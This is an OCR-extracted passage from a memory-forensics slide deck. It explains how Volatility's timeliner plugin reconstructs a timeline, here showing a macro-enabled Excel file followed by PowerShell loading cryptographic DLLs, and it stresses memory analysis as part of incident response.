1	1	HACK~1	2020-10-05 17:06:16 UTC+0000	2020-10-05 17:06:16 UTC+0000	2020-10-05 17:06:16 UTC+0000	DIR	E:\TOOL\HACK				
0	2	DATA~1	2020-10-05 17:06:16 UTC+0000	2020-10-05 17:06:16 UTC+0000	2020-10-05 17:06:16 UTC+0000	DIR	E:\Backups\Users				
2	0	MIMI~1	2020-10-05 15:16:00 UTC+0000	2017-03-18 11:40:22 UTC+0000	2020-10-05 15:16:00 UTC+0000	DIR	E:\Super\Secret\Stuff				



Timeliner | # vol.py -f mem.vmem --profile=Win10x64_15063 *timeliner*

- Extracts artifacts in memory that have a timestamp associated.
- Data from mftparser and shellbags plugins can be combined as well
- You can feed this into a supertimeline using Plaso log2timelinecreate a comprehensive view of what has occurred on disk and logs but also what occurred in memory.

⊟ 5 • ੋ • ਪ • ∓					mactime.txt - Excel				
File Home Insert Dr	aw Page Layout	Formulas Data	Review View Help	Q Tell me what you want to do					
Paste	ri • 11		ab Wrap Text	General •	Mormal Bad				
🚽 🚿 Format Painter 🦳		· · · · · ·		Forr	natting * Table *				
Clipboard	Font	۲ <u>۵</u>	Alignment	Number 🕞					
D77428 🔹 🗄 🗶 🗸 🏂 [DLL LOADTIME (dll)] bcrypt.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x73970000									
A	В	С							
77388 Mon Oct 05 2020 19:42:58		0 [THREAD] co	nhost.exe PID: 3296/TID: 4	540					
77389 Mon Oct 05 2020 19:42:58		0 [THREAD] co	nhost.exe PID: 3296/TID: 6	72					
77390 Mon Oct 05 2020 19:42:58		0 [THREAD] po	wershell.exe PID: 2028/TII	D: 2688					
77391 Mon Oct 05 2020 19:42:58	-h-a	108227 [MFT FILE_N/	AME] Users\AMYWAL~1\D	OCUME~1\~\$PROF~1.XLS (Offset: 0x4	731e8)				
7392 Mon Oct 05 2020 19:42:58	-h-a	108227 [MFT FILE_N/	AME] Users\AMYWAL~1\D	OCUME~1\~\$Profit-and-Loss-Stateme	ent.xlsm (Offset: 0x4731e8)				
77393 Mon Oct 05 2020 19:42:58	-h-a	108227 [MFT STD_IN	FO] Users\AMYWAL~1\DO	CUME~1\~\$PROF~1.XLS (Offset: 0x47	31e8)				
77394 Mon Oct 05 2020 19:42:58	a	108261 [MFT FILE_N/	AME] Users\AMYWAL~1\A	ppData\Roaming\MICROS~1\Office\F	Recent\PROFIT ^{~2} .LNK (Offset: 0x470478)				
77395 Mon Oct 05 2020 19:42:58	a	108261 [MFT FILE_N/	AME] Users\AMYWAL~1\A	ppData\Roaming\MICROS~1\Office\F	Recent\Profit-and-LosØÆà-Statement.xlsm.LNK (
77396 Mon Oct 05 2020 19:42:58	a	108261 [MFT STD_IN	FO] Users\AMYWAL~1\Ap	pData\Roaming\MICROS~1\Office\Re	cent\PROFIT ^{~2} .LNK (Offset: 0x470478)				
77397 Mon Oct 05 2020 19:42:58	r	87036 [MFT STD_IN	FO] Users\AMYWAL~1\DO	CUME~1 (Offset: 0x10be000)					
77398 Mon Oct 05 2020 19:42:58	a	87575 [MFT STD_IN	FO] Users\Amy Walsh\Ap	Data\Roaming\Microsoft\Windows\	Recent\AutomaticDestinations\F01B4D~1.AUT (
77399 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	ME (dll)] ADVAPI32.dll Pro	cess: powershell.exe/PID: 2028/PPID	: 7072/Process POffset: 0x414e1340/DLL Base: 0x				
77400 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	VIE (dll)] ATL.DLL Process: p	oowershell.exe/PID: 2028/PPID: 7072	/Process POffset: 0x414e1340/DLL Base: 0x67cb0(
77401 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	VIE (dll)] CRYPT32.dll Proce	ss: powershell.exe/PID: 2028/PPID: 7	7072/Process POffset: 0x414e1340/DLL Base: 0x75				
77402 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	VIE (dll)] CRYPTBASE.dll Pro	ocess: powershell.exe/PID: 2028/PPII	D: 7072/Process POffset: 0x414e1340/DLL Base: 0)				
77403 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	VIE (dll)] CRYPTSP.dll Proce	ess: powershell.exe/PID: 2028/PPID: 7	7072/Process POffset: 0x414e1340/DLL Base: 0x73				
77404 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	VIE (dll)] GDI32.dll Process	powershell.exe/PID: 2028/PPID: 707	2/Process POffset: 0x414e1340/DLL Base: 0x7435				
77405 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	ME (dll)] IMM32.DLL Proces	s: powershell.exe/PID: 2028/PPID: 70	072/Process POffset: 0x414e1340/DLL Base: 0x76€				
77406 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	VIE (dll)] LINKINFO.dll Proc	ess: powershell.exe/PID: 2028/PPID:	7072/Process POffset: 0x414e1340/DLL Base: 0x7				
77407 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	ME (dll)] MSASN1.dll Proce	ss: powershell.exe/PID: 2028/PPID: 7	7072/Process POffset: 0x414e1340/DLL Base: 0x76				
77408 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	ME (dll)] MSVCR120_CLR04	00.dll Process: powershell.exe/PID: 2	2028/PPID: 7072/Process POffset: 0x414e1340/DL				
77409 Mon Oct 05 2020 19:42:59		0 [DLL LOADTIN	ME (dll)] Microsoft.Manage	ement.Infrastructure.ni.dll Process: p	owershell.exe/PID: 2028/PPID: 7072/Process PO				
77410 Mon Oct 05 2020 19:42:59			MF (dll)1 MnOay.dll Proces	s: nowershell.exe/PID: 2028/PPID: 70	72/Process POffset: 0x414e1340/DLL Base: 0x64f				



In Closing...

Don't forget about the **important role** that memory analysis plays as part of IR



Ensure your **IR process** includes memory analysis – make sure you don't pull the plug on systems or you look this critical volatile data!



Adversaries use **various techniques** (persistence, code injection, hiding techniques, etc.) to elude traditional security tools



The use of memory forensics will **augment your ability** to better identify and these techniques and respond to attacks in a timely manner – **reducing the dwell time**.



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